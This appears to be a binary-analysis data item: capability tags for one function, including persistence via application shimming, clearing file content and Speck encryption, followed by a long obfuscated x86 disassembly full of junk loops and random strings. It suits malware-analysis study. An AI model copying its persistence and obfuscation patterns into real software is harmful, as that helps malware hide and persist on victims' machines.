Function at 0x453846
Capabilities:
Accept command line arguments
Authenticate hmac
Clear file content
Encrypt data using speck
Get common file path
Get disk information
Persist via application shimming
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ae663
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x29e0
call fcn.004aa590
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ebp + 0x18]
test eax, eax
je 0x46646e
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1668], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x1660], eax
lea eax, [ebp + 8]
mov dword [ebp - 0x1b54], eax
mov eax, dword [ebp - 0x1b54]
movzx eax, byte [eax]
test eax, eax
je 0x4663f4
push 3
lea ecx, [ebp - 0x1c10]
call fcn.0042fb3f
mov dword [ebp - 0x990], 0xb64b5c6f
mov dword [ebp - 0x998], 0
mov dword [ebp - 0x13a8], 0xed1e12aa
mov dword [ebp - 0xe0], 0
jmp 0x4538eb
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 3
jge 0x45390d
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x1c10]
call fcn.0042fc2d
mov dword [eax], 0xfff9
jmp 0x4538de
mov dword [ebp - 0xe0], 0
jmp 0x453926
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 1
jge 0x453942
mov eax, dword [ebp - 0xe0]
mov dword [ebp + eax*4 - 0x16d8], 0x2c5b641b
jmp 0x453919
mov dword [ebp - 0x13b0], 0xa51
mov dword [ebp - 0x16e0], str.jgware_atiufu_cbxyclz_brugzwz_nsy_lhdemrjd_fziprsiu
cmp dword [ebp - 0x13b0], 0xc31
jle 0x4539fc
and dword [ebp - 0x2e0], 0
jmp 0x45397c
mov eax, dword [ebp - 0x2e0]
inc eax
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 0x71ef
jge 0x4539fc
and dword [ebp - 0x578], 0
jmp 0x45399e
mov eax, dword [ebp - 0x578]
inc eax
mov dword [ebp - 0x578], eax
cmp dword [ebp - 0x578], 0x7cfe
jge 0x4539f7
mov eax, dword [ebp - 0x2e0]
and eax, dword [ebp - 0x578]
cdq
mov dword [ebp - 0x1774], eax
mov dword [ebp - 0x1770], edx
push dword [ebp - 0x1770]
push dword [ebp - 0x1774]
lea ecx, [ebp - 0x2704]
call fcn.004018f3
pop ecx
pop ecx
mov ecx, eax
call fcn.0042fa1f
push eax
call fcn.00498447
pop ecx
lea ecx, [ebp - 0x2704]
call fcn.0042fa15
jmp 0x453991
jmp 0x45396f
push 1
lea ecx, [ebp - 0x1c10]
call fcn.0042fc2d
cmp dword [eax], 0x72fd4914
jge 0x453a1d
mov dword [ebp - 0x1398], 1
jmp 0x453a24
and dword [ebp - 0x1398], 0
push 1
lea ecx, [ebp - 0x1c10]
call fcn.0042fc2d
cmp dword [eax], 0
jne 0x453a83
push 4
pop eax
sub eax, dword [ebp - 0x990]
sub eax, dword [ebp - 0x990]
mov dword [ebp - 0x998], eax
mov eax, dword [ebp - 0x990]
cmp dword [ebp - 0x998], eax
jge 0x453a65
mov dword [ebp - 0xc68], 1
jmp 0x453a6c
and dword [ebp - 0xc68], 0
mov eax, dword [ebp - 0x13a8]
cmp dword [ebp - 0xc68], eax
jl 0x453a83
and dword [ebp - 0x1390], 0
jmp 0x453a8d
mov dword [ebp - 0x1390], 1
push 1
lea ecx, [ebp - 0x1c10]
call fcn.0042fc2d
mov ecx, dword [ebp - 0x1390]
cmp ecx, dword [eax]
jg 0x453ab0
mov dword [ebp - 0x13a0], 1
jmp 0x453ab7
and dword [ebp - 0x13a0], 0
mov eax, dword [ebp - 0x1398]
cmp eax, dword [ebp - 0x13a0]
jge 0x453ad1
mov dword [ebp - 0x16d0], 1
jmp 0x453ad8
and dword [ebp - 0x16d0], 0
mov eax, dword [ebp - 0x13a8]
mov dword [ebp - 0x20e0], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x998]
mov dword [ebp + eax - 0x16d8], ecx
and dword [ebp - 4], 0
cmp dword [ebp - 0x13b0], 0x7fa
jge 0x453b13
push dword [ebp - 0x16e0]
call fcn.00498447
pop ecx
jmp 0x453b2f
or dword [ebp - 4], 0xffffffff
jmp 0x453b39
push 0x2567
push 0x5778
push 1
push 0x7c0a
push 0
push 0x3b03
push 1
push 0x32fe
call fcn.0044bebc
add esp, 0x20
lea ecx, [ebp - 0x1c10]
call fcn.0042fc11
mov dword [ebp - 0x2e8], 0x5d6c05ba
mov dword [ebp - 0x215c], 0xde0b4074
mov dword [ebp - 0x2e8], 0
jmp 0x453b98
mov eax, dword [ebp - 0x2e8]
dec eax
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 0xfffffffe
jg 0x453bdd
mov byte [ebp - 0x19e], 0
push 1
push 0x3c56
push 0
push 0x30cb
push 0x4774
push 0x1894
lea eax, [ebp - 0x19e]
push eax
push 0x28db
push 1
push 0x515d
call fcn.004533a3
add esp, 0x28
jmp 0x453b8b
mov dword [ebp - 0x13b8], 0x3d07
mov dword [ebp - 0x16e8], str.azs_kcpfj_yuzz_vocigz_ukk_oiynbhuv_bdugfx_ehbjs_xallmxe_pvdgxvc_immdsks_ppqmkhue
cmp dword [ebp - 0x13b8], 0x3f2e
jle 0x453c74
and dword [ebp - 0x6d8], 0
jmp 0x453c13
mov eax, dword [ebp - 0x6d8]
inc eax
mov dword [ebp - 0x6d8], eax
cmp dword [ebp - 0x6d8], 0x27cd
jge 0x453c74
and dword [ebp - 0x2f0], 0
jmp 0x453c35
mov eax, dword [ebp - 0x2f0]
inc eax
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 0x7cda
jge 0x453c72
mov eax, dword [ebp - 0x6d8]
sub eax, dword [ebp - 0x2f0]
cdq
mov dword [ebp - 0x1780], eax
mov dword [ebp - 0x177c], edx
push dword [ebp - 0x177c]
push dword [ebp - 0x1780]
mov ecx, 0xabbe58
call fcn.0042fa2a
jmp 0x453c28
jmp 0x453c06
mov dword [ebp - 4], 2
cmp dword [ebp - 0x13b8], 0x3bec
jge 0x453c97
mov edx, dword [ebp - 0x16e8]
mov ecx, 0xabbe58
call fcn.004313d0
jmp 0x453cb3
or dword [ebp - 4], 0xffffffff
jmp 0x453cbd
mov dword [ebp - 0x9b0], 0xfffffffa
mov dword [ebp - 0x13c0], 0xfffffff7
mov dword [ebp - 0x16f8], 0xfffffff6
mov dword [ebp - 0x9a8], 0x6dc660f7
push 3
lea ecx, [ebp - 0x2024]
call fcn.0042fb3f
mov dword [ebp - 0x2a4], 0
jmp 0x453d0b
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 4
jge 0x453d27
mov eax, dword [ebp - 0x2a4]
mov dword [ebp + eax*4 - 0x1514], 0xfffffffd
jmp 0x453cfe
lea eax, [ebp - 0x2a4]
push eax
push 0x6c2e
push 0
push 0x3799
push 1
lea eax, [ebp - 0x2024]
push eax
push 0x28c6
call fcn.0044f5f2
add esp, 0x1c
push 0
lea ecx, [ebp - 0x2024]
call fcn.0042fc2d
mov dword [ebp - 0x9a0], eax
mov eax, dword [ebp - 0x9a0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x9a0]
mov ecx, dword [ecx]
inc ecx
mov edx, dword [ebp - 0x9a0]
mov dword [edx], ecx
test eax, eax
jne 0x453d99
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1514], 0
jne 0x453d99
and dword [ebp - 0x13c8], 0
jmp 0x453da3
mov dword [ebp - 0x13c8], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1514]
mov dword [ebp - 0x2460], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1514]
mov dword [ebp - 0x13c0], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x13c0]
add ecx, dword [ebp + eax - 0x1514]
mov eax, dword [ebp - 0x9b0]
add eax, ecx
cmp eax, dword [ebp - 0x9a8]
jge 0x453df7
mov dword [ebp - 0x16f0], 1
jmp 0x453dfe
and dword [ebp - 0x16f0], 0
mov eax, dword [ebp - 0x16f8]
mov dword [ebp - 0x2164], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x1514]
mov dword [ebp - 0x9a8], eax
mov eax, dword [ebp - 0x9a8]
cmp dword [ebp - 0x13c8], eax
jle 0x453e37
mov dword [ebp - 0x1700], 1
jmp 0x453e3e
and dword [ebp - 0x1700], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1514]
mov dword [ebp - 0x23b4], eax
push 4
pop eax
shl eax, 1
imul eax, dword [ebp + eax - 0x1514], 0x4bca
cmp eax, dword [ebp - 0x9b0]
jge 0x453e74
mov dword [ebp - 0x13d0], 1
jmp 0x453e7b
and dword [ebp - 0x13d0], 0
cmp dword [ebp - 0x13d0], 0xea0e
jl 0x453e93
mov dword [ebp - 0x13d8], 1
jmp 0x453e9a
and dword [ebp - 0x13d8], 0
cmp dword [ebp - 0x13d8], 1
jg 0x453eaf
mov dword [ebp - 0x13e0], 1
jmp 0x453eb6
and dword [ebp - 0x13e0], 0
mov eax, dword [ebp - 0x9b0]
sub eax, dword [ebp - 0x13e0]
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x1514], eax
lea ecx, [ebp - 0x2024]
call fcn.0042fc11
push 3
lea ecx, [ebp - 0x1c20]
call fcn.0042fb3f
mov dword [ebp - 0x9a4], 0xb64b5c6f
push 4
lea ecx, [ebp - 0x88c]
call fcn.0042fb3f
mov dword [ebp - 0x54], 4
mov dword [ebp - 0xbc], 0
jmp 0x453f1d
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 4
jge 0x453f3c
push dword [ebp - 0xbc]
lea ecx, [ebp - 0x88c]
call fcn.0042fc2d
or dword [eax], 0xffffffff
jmp 0x453f10
mov dword [ebp - 0xbc], 0
jmp 0x453f55
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 1
jge 0x453f71
mov eax, dword [ebp - 0xbc]
mov dword [ebp + eax*4 - 0x1708], 0xffffffff
jmp 0x453f48
mov dword [ebp - 0x54], 0
jmp 0x453f81
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 3
jg 0x4541c2
mov dword [ebp - 0x1388], 1
push dword [ebp - 0x54]
lea ecx, [ebp - 0x88c]
call fcn.0042fc2d
cmp dword [eax], 0
je 0x453fc5
push dword [ebp - 0x54]
lea ecx, [ebp - 0x88c]
call fcn.0042fc2d
cmp dword [eax], 0
je 0x453fc0
jmp 0x4541c2
jmp 0x4541bd
push 3
lea ecx, [ebp - 0x1d58]
call fcn.0042fb3f
mov dword [ebp - 0x580], 0
jmp 0x453feb
mov eax, dword [ebp - 0x580]
inc eax
mov dword [ebp - 0x580], eax
cmp dword [ebp - 0x580], 3
jge 0x45400d
push dword [ebp - 0x580]
lea ecx, [ebp - 0x1d58]
call fcn.0042fc2d
mov dword [eax], 1
jmp 0x453fde
push dword [ebp - 0x54]
lea ecx, [ebp - 0x88c]
call fcn.0042fc2d
mov dword [ebp - 0x1450], eax
push 0
lea ecx, [ebp - 0x1d58]
call fcn.0042fc2d
mov ecx, dword [ebp - 0x1450]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1450]
cmp dword [eax], 0
je 0x454198
push dword [ebp - 0x54]
lea ecx, [ebp - 0x88c]
call fcn.0042fc2d
cmp dword [eax], 0
je 0x4540d0
push 1
lea ecx, [ebp - 0x88c]
call fcn.0042fc2d
mov esi, eax
push dword [ebp - 0x54]
lea ecx, [ebp - 0x88c]
call fcn.0042fc2d
imul eax, dword [eax], 0x7a67
sub eax, 0x5fdb93c8
mov edi, eax
imul edi, dword [esi]
push dword [ebp - 0x54]
lea ecx, [ebp - 0x88c]
call fcn.0042fc2d
cmp edi, dword [eax]
je 0x4540a5
mov dword [ebp - 0x1458], 1
jmp 0x4540ac
and dword [ebp - 0x1458], 0
push dword [ebp - 0x54]
lea ecx, [ebp - 0x88c]
call fcn.0042fc2d
mov ecx, dword [ebp - 0x1458]
cmp ecx, dword [eax]
jg 0x4540d0
mov dword [ebp - 0x1460], 1
jmp 0x4540d7
and dword [ebp - 0x1460], 0
push dword [ebp - 0x54]
lea ecx, [ebp - 0x88c]
call fcn.0042fc2d
mov ecx, dword [ebp - 0x1460]
cmp ecx, dword [eax]
jne 0x4540fb
mov dword [ebp - 0x1468], 1
jmp 0x454102
and dword [ebp - 0x1468], 0
mov eax, dword [ebp - 0x1388]
cmp dword [ebp - 0x1468], eax
jle 0x45411c
mov dword [ebp - 0x1490], 1
jmp 0x454123
and dword [ebp - 0x1490], 0
cmp dword [ebp - 0x1490], 0xffffffff
jae 0x454138
mov dword [ebp - 0x141c], 1
jmp 0x45413f
and dword [ebp - 0x141c], 0
push 2
lea ecx, [ebp - 0x88c]
call fcn.0042fc2d
mov ecx, dword [ebp - 0x141c]
cmp ecx, dword [eax]
jle 0x454162
mov dword [ebp - 0x9f4], 1
jmp 0x454169
and dword [ebp - 0x9f4], 0
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x9f4], eax
jge 0x454181
push 2
lea ecx, [ebp - 0x1d58]
call fcn.0042fc2d
or eax, 0xffffffff
sub eax, dword [ebp - 0x1388]
je 0x454198
mov dword [ebp - 0x11fc], 1
jmp 0x45419f
and dword [ebp - 0x11fc], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x11fc]
mov dword [ebp + eax - 0x1708], ecx
lea ecx, [ebp - 0x1d58]
call fcn.0042fc11
jmp 0x453f7a
lea ecx, [ebp - 0x88c]
call fcn.0042fc11
mov dword [ebp - 0x8ac], 0
mov dword [ebp - 0x6d0], 0xffffffff
mov dword [ebp - 0x2f8], 0
jmp 0x4541fa
mov eax, dword [ebp - 0x2f8]
inc eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 1
jge 0x454216
mov eax, dword [ebp - 0x2f8]
mov dword [ebp + eax*4 - 0x1710], 0x5cc25bfc
jmp 0x4541ed
cmp dword [ebp - 0x6d0], 0
jne 0x454228
cmp dword [ebp - 0x6d0], 0xfffffff9
je 0x45423d
cmp dword [ebp - 0x6d0], 0
je 0x45423d
mov dword [ebp - 0x9fc], 1
jmp 0x454244
and dword [ebp - 0x9fc], 0
cmp dword [ebp - 0x6d0], 0xffffffff
jle 0x454259
mov dword [ebp - 0xf54], 1
jmp 0x454260
and dword [ebp - 0xf54], 0
mov eax, dword [ebp - 0x9fc]
cmp eax, dword [ebp - 0xf54]
jl 0x45427a
mov dword [ebp - 0xa04], 1
jmp 0x454281
and dword [ebp - 0xa04], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa04]
mov dword [ebp + eax - 0x1710], ecx
mov byte [ebp - 0x1a0], 0
movzx eax, byte [ebp - 0x1a0]
test eax, eax
je 0x4542cd
push 1
push 0
push 0x5196
push 1
push 0x5559
push 0x569b
push 0x5a53
push 0x735b
call fcn.0044eaf6
add esp, 0x20
mov dword [ebp - 0xa54], 0xed1e12aa
mov dword [ebp - 0x70], 1
mov dword [ebp - 0xa14], 0xa023703a
mov dword [ebp - 0x1d10], 0x4bda99da
mov dword [ebp - 0x1d0c], 0x4bda99da
mov dword [ebp - 0x1d08], 0x4bda99da
mov dword [ebp - 0x1d04], 0x4bda99da
mov dword [ebp - 0x1720], 0x6cc72b75
mov dword [ebp - 0x1728], 0x800f4d4e
mov byte [ebp - 0x1a2], 0
movzx eax, byte [ebp - 0x1a2]
test eax, eax
je 0x45434c
push 0x899
push 0x4f28
push 1
push 0
call fcn.00450a8e
add esp, 0x10
cmp dword [ebp - 0x70], 0
je 0x454381
cmp dword [ebp - 0x70], 0xfffffffe
ja 0x454368
push 8
pop eax
test eax, eax
jne 0x454368
and dword [ebp - 0x1354], 0
jmp 0x454372
mov dword [ebp - 0x1354], 1
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x1354], eax
je 0x454381
cmp dword [ebp - 0x70], 0
cmp dword [ebp - 0x70], 0x7a5eafb5
jne 0x454396
mov dword [ebp - 0x1718], 1
jmp 0x45439d
and dword [ebp - 0x1718], 0
imul eax, dword [ebp - 0x70], 0xc4e2
mov ecx, dword [ebp - 0x70]
lea eax, [eax + ecx + 8]
cmp eax, dword [ebp - 0x70]
jle 0x4543bc
mov dword [ebp - 0xa0c], 1
jmp 0x4543c3
and dword [ebp - 0xa0c], 0
mov eax, dword [ebp - 0xa14]
cmp dword [ebp - 0xa0c], eax
jle 0x4543dd
mov dword [ebp - 0x8a4], 1
jmp 0x4543e4
and dword [ebp - 0x8a4], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x8a4]
mov dword [ebp + eax - 0x1d10], ecx
cmp dword [ebp - 0x8a4], 0
je 0x454411
cmp dword [ebp - 0x70], 0
je 0x454411
mov dword [ebp - 0xf5c], 1
jmp 0x454418
and dword [ebp - 0xf5c], 0
cmp dword [ebp - 0xf5c], 1
jne 0x45442d
mov dword [ebp - 0x1204], 1
jmp 0x454434
and dword [ebp - 0x1204], 0
mov eax, dword [ebp - 0xa14]
cmp dword [ebp - 0x1204], eax
jne 0x45444e
mov dword [ebp - 0xa1c], 1
jmp 0x454455
and dword [ebp - 0xa1c], 0
mov eax, dword [ebp - 0x70]
add eax, dword [ebp - 0xa1c]
je 0x454475
cmp dword [ebp - 0x1720], 0
je 0x454475
mov dword [ebp - 0xf64], 1
jmp 0x45447c
and dword [ebp - 0xf64], 0
mov eax, dword [ebp - 0x70]
cmp eax, dword [ebp - 0xf64]
jge 0x4544ae
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x1d10], 0
jne 0x4544ae
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x1d10], 0
jne 0x4544ae
and dword [ebp - 0xa24], 0
jmp 0x4544b8
mov dword [ebp - 0xa24], 1
mov eax, dword [ebp - 0x70]
cmp eax, dword [ebp - 0xa24]
je 0x4544cf
mov dword [ebp - 0x1438], 1
jmp 0x4544d6
and dword [ebp - 0x1438], 0
mov eax, dword [ebp - 0x1438]
mov dword [ebp - 0x1728], eax
mov dword [ebp - 0x300], 0x5d6c05ba
mov dword [ebp - 0x216c], 0xde0b4074
mov dword [ebp - 0x300], 0
jmp 0x45450f
mov eax, dword [ebp - 0x300]
dec eax
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 0xfffffffe
jg 0x454659
mov dword [ebp - 0xa2c], 0xdd1
mov dword [ebp - 0x1730], str.kwfpucryx_jdclfxkz_bjsfhjtzz_afgfcdn
cmp dword [ebp - 0xa2c], 0x1158
jle 0x4545f0
and dword [ebp - 0x588], 0
jmp 0x454556
mov eax, dword [ebp - 0x588]
inc eax
mov dword [ebp - 0x588], eax
cmp dword [ebp - 0x588], 0x6226
jge 0x4545e8
and dword [ebp - 0x308], 0
jmp 0x45457c
mov eax, dword [ebp - 0x308]
inc eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 0x4c1e
jge 0x4545e3
and dword [ebp - 0x6cc], 0
jmp 0x45459e
mov eax, dword [ebp - 0x6cc]
inc eax
mov dword [ebp - 0x6cc], eax
cmp dword [ebp - 0x6cc], 0x498d
jge 0x4545e1
mov eax, dword [ebp - 0x588]
sub eax, dword [ebp - 0x308]
xor eax, dword [ebp - 0x6cc]
cdq
mov dword [ebp - 0x178c], eax
mov dword [ebp - 0x1788], edx
push dword [ebp - 0x1788]
push dword [ebp - 0x178c]
mov ecx, 0xabbe58
call fcn.0042fa2a
jmp 0x454591
jmp 0x45456f
jmp 0x454549
push 0
call dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
push 0x1b7b
push 0
push 0x4d54
push 0xc13
push 0
call fcn.0044eddd
add esp, 0x14
mov dword [ebp - 4], 4
cmp dword [ebp - 0xa2c], 0xb03
jge 0x45462e
mov edx, dword [ebp - 0x1730]
mov ecx, 0xabbe58
call fcn.004313d0
jmp 0x45464a
or dword [ebp - 4], 0xffffffff
jmp 0x454654
jmp 0x454502
lea eax, [ebp - 0x2b4]
push eax
push 1
push 0x216e
push 0x6a4
lea eax, [ebp - 0x1c20]
push eax
push 0
call fcn.0044dc8f
add esp, 0x18
and dword [ebp - 0x1e9c], 0
and dword [ebp - 0x1e98], 0
and dword [ebp - 0x1e94], 0
and dword [ebp - 0x1e90], 0
lea ecx, [ebp - 0x94d]
call fcn.0042fc3c
push eax
lea eax, [ebp - 0x1e8c]
push eax
lea eax, [ebp - 0x1e9c]
push eax
lea ecx, [ebp - 0x268c]
call fcn.0042fc3f
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1d70]
call fcn.0042fbeb
push 0
lea ecx, [ebp - 0x1d70]
call fcn.0042fc2d
and dword [eax], 0
jmp 0x454704
push 0
lea ecx, [ebp - 0x1d70]
call fcn.0042fc2d
mov dword [ebp - 0xf6c], eax
mov eax, dword [ebp - 0xf6c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xf6c]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x1d70]
call fcn.0042fc2d
cmp dword [eax], 0xf
jg 0x454767
mov byte [ebp - 0x1a4], 0
push 0x71d
lea eax, [ebp - 0x1a4]
push eax
push 0x1df
push 0x4f6a
push 0x2809
push 0x3f7d
push 0x74d4
push 0x32bd
push 0
push 1
push 0x3828
push 0x57ee
push 0x45c8
call fcn.0044d92c
add esp, 0x34
jmp 0x4546e0
lea ecx, [ebp - 0x1d70]
call fcn.0042fc11
mov dword [ebp - 0x2b4], 0
jmp 0x45478b
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 1
jge 0x4547a7
mov eax, dword [ebp - 0x2b4]
mov dword [ebp + eax*4 - 0x1758], 0x2c5b641b
jmp 0x45477e
mov dword [ebp - 0x1ac], 0xffffffff
mov dword [ebp - 0x26c], 2
mov dword [ebp - 0xa34], 0xa1c17c77
mov dword [ebp - 0x1748], 0xfe81720d
mov byte [ebp - 0x1b6], 0
movzx eax, byte [ebp - 0x1b6]
test eax, eax
je 0x45480b
push 0x5a19
push 0x37a9
push 0
push 0
push 0x528f
push 0x5091
push 0x1967
push 0x444d
call fcn.0045288a
add esp, 0x20
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0x26c], eax
mov eax, dword [ebp - 0x26c]
mov dword [ebp - 0x26c], eax
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0xa34], eax
mov eax, dword [ebp - 0xa34]
cmp dword [ebp - 0x26c], eax
jle 0x454849
mov dword [ebp - 0x120c], 1
jmp 0x454850
and dword [ebp - 0x120c], 0
mov eax, dword [ebp - 0x1ac]
cmp dword [ebp - 0x120c], eax
jl 0x454873
cmp dword [ebp - 0x26c], 0
je 0x454873
mov dword [ebp - 0x1738], 1
jmp 0x45487a
and dword [ebp - 0x1738], 0
mov eax, dword [ebp - 0x1ac]
cmp dword [ebp - 0x1ac], eax
jne 0x454894
mov dword [ebp - 0xa3c], 1
jmp 0x45489b
and dword [ebp - 0xa3c], 0
cmp dword [ebp - 0xa3c], 0xfff9
jne 0x4548b3
mov dword [ebp - 0x1740], 1
jmp 0x4548ba
and dword [ebp - 0x1740], 0
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0x24d8], eax
cmp dword [ebp - 0x1ac], 1
jg 0x4548db
mov dword [ebp - 0xf74], 1
jmp 0x4548e2
and dword [ebp - 0xf74], 0
mov eax, dword [ebp - 0xf74]
mov dword [ebp - 0x1748], eax
push 1
lea ecx, [ebp - 0x1c20]
call fcn.0042fc2d
cmp dword [eax], 0x72fd4914
jge 0x45490f
mov dword [ebp - 0xa4c], 1
jmp 0x454916
and dword [ebp - 0xa4c], 0
push 1
lea ecx, [ebp - 0x1c20]
call fcn.0042fc2d
cmp dword [eax], 0
jne 0x454975
push 4
pop eax
sub eax, dword [ebp - 0x9a4]
sub eax, dword [ebp - 0x9a4]
mov dword [ebp - 0x8ac], eax
mov eax, dword [ebp - 0x9a4]
cmp dword [ebp - 0x8ac], eax
jge 0x454957
mov dword [ebp - 0xa44], 1
jmp 0x45495e
and dword [ebp - 0xa44], 0
mov eax, dword [ebp - 0xa54]
cmp dword [ebp - 0xa44], eax
jl 0x454975
and dword [ebp - 0x135c], 0
jmp 0x45497f
mov dword [ebp - 0x135c], 1
push 1
lea ecx, [ebp - 0x1c20]
call fcn.0042fc2d
mov ecx, dword [ebp - 0x135c]
cmp ecx, dword [eax]
jg 0x4549a2
mov dword [ebp - 0xf7c], 1
jmp 0x4549a9
and dword [ebp - 0xf7c], 0
mov eax, dword [ebp - 0xa4c]
cmp eax, dword [ebp - 0xf7c]
jge 0x4549c3
mov dword [ebp - 0x1750], 1
jmp 0x4549ca
and dword [ebp - 0x1750], 0
mov eax, dword [ebp - 0xa54]
mov dword [ebp - 0x2174], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x8ac]
mov dword [ebp + eax - 0x1758], ecx
mov dword [ebp - 0x224], 0x576c3a0b
mov dword [ebp - 0x2ac], 0
mov dword [ebp - 0x1760], 0xba22e974
mov dword [ebp - 0x21c], 0xffffffff
mov dword [ebp - 0x1768], 0x703c
mov dword [ebp - 0x1ba8], 0xffffffff
mov dword [ebp - 0x23bc], 0xffffffff
mov dword [ebp - 0x217c], 0x51ac06e3
push 1
lea ecx, [ebp - 0x2268]
call fcn.0042fb3f
mov dword [ebp - 0x310], 0
jmp 0x454a5f
mov eax, dword [ebp - 0x310]
inc eax
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 1
jge 0x454a81
push dword [ebp - 0x310]
lea ecx, [ebp - 0x2268]
call fcn.0042fc2d
mov dword [eax], 9
jmp 0x454a52
push 0
lea eax, [ebp - 0x1760]
push eax
push 1
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x1768]
push eax
lea eax, [ebp - 0x1ba8]
push eax
push 0x6749
lea eax, [ebp - 0x224]
push eax
push 0
lea eax, [ebp - 0x2ac]
push eax
call fcn.004533a3
add esp, 0x28
mov dword [ebp - 0x21c], 0xfffffff1
jmp 0x454ad7
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0x29
jge 0x454d2a
mov dword [ebp - 0x1bc0], 0xa77b69c9
mov dword [ebp - 0xf84], 0x89fa
mov dword [ebp - 0x1214], 0x3294
mov dword [ebp - 0x1bb0], str.pqlbiwgcl_aoaudesz_lzxq
cmp dword [ebp - 0x1214], 0x3404
jle 0x454bc8
and dword [ebp - 0x590], 0
jmp 0x454b32
mov eax, dword [ebp - 0x590]
inc eax
mov dword [ebp - 0x590], eax
cmp dword [ebp - 0x590], 0x4a2
jge 0x454bc8
and dword [ebp - 0x318], 0
jmp 0x454b58
mov eax, dword [ebp - 0x318]
inc eax
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 0x526
jge 0x454bc3
and dword [ebp - 0x764], 0
jmp 0x454b7a
mov eax, dword [ebp - 0x764]
inc eax
mov dword [ebp - 0x764], eax
cmp dword [ebp - 0x764], 0x448d
jge 0x454bc1
mov eax, dword [ebp - 0x590]
imul eax, dword [ebp - 0x318]
cdq
idiv dword [ebp - 0x764]
mov eax, edx
cdq
mov dword [ebp - 0x1798], eax
mov dword [ebp - 0x1794], edx
push dword [ebp - 0x1794]
push dword [ebp - 0x1798]
mov ecx, 0xabbe58
call fcn.0042fa2a
jmp 0x454b6d
jmp 0x454b4b
jmp 0x454b25
mov dword [ebp - 4], 6
cmp dword [ebp - 0x1214], 0x31d1
jge 0x454beb
mov edx, dword [ebp - 0x1bb0]
mov ecx, 0xabbe58
call fcn.004313d0
jmp 0x454c07
or dword [ebp - 4], 0xffffffff
jmp 0x454c11
mov dword [ebp - 0x320], 0
jmp 0x454c2a
mov eax, dword [ebp - 0x320]
inc eax
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 2
jge 0x454c46
mov eax, dword [ebp - 0x320]
mov dword [ebp + eax*4 - 0x26ac], 0
jmp 0x454c1d
mov dword [ebp - 0x2ac], 0x10
jmp 0x454c5f
mov eax, dword [ebp - 0x2ac]
inc eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 0x1d
jl 0x454d18
mov dword [ebp - 0x598], 0
jmp 0x454c85
mov eax, dword [ebp - 0x598]
inc eax
mov dword [ebp - 0x598], eax
cmp dword [ebp - 0x598], 1
jge 0x454ca1
mov eax, dword [ebp - 0x598]
mov dword [ebp + eax*4 - 0x1bb8], 0x1094
jmp 0x454c78
mov dword [ebp - 0x224], 0x14
jmp 0x454cba
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0x1f
jge 0x454ce4
mov byte [ebp - 0x13d], 0
push 0
push 0x5f65
push 1
lea eax, [ebp - 0x13d]
push eax
call fcn.0044b944
add esp, 0x10
jmp 0x454cad
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1bb8], 0xffffffff
ja 0x454d00
mov dword [ebp - 0xa5c], 1
jmp 0x454d07
and dword [ebp - 0xa5c], 0
mov eax, dword [ebp - 0xa5c]
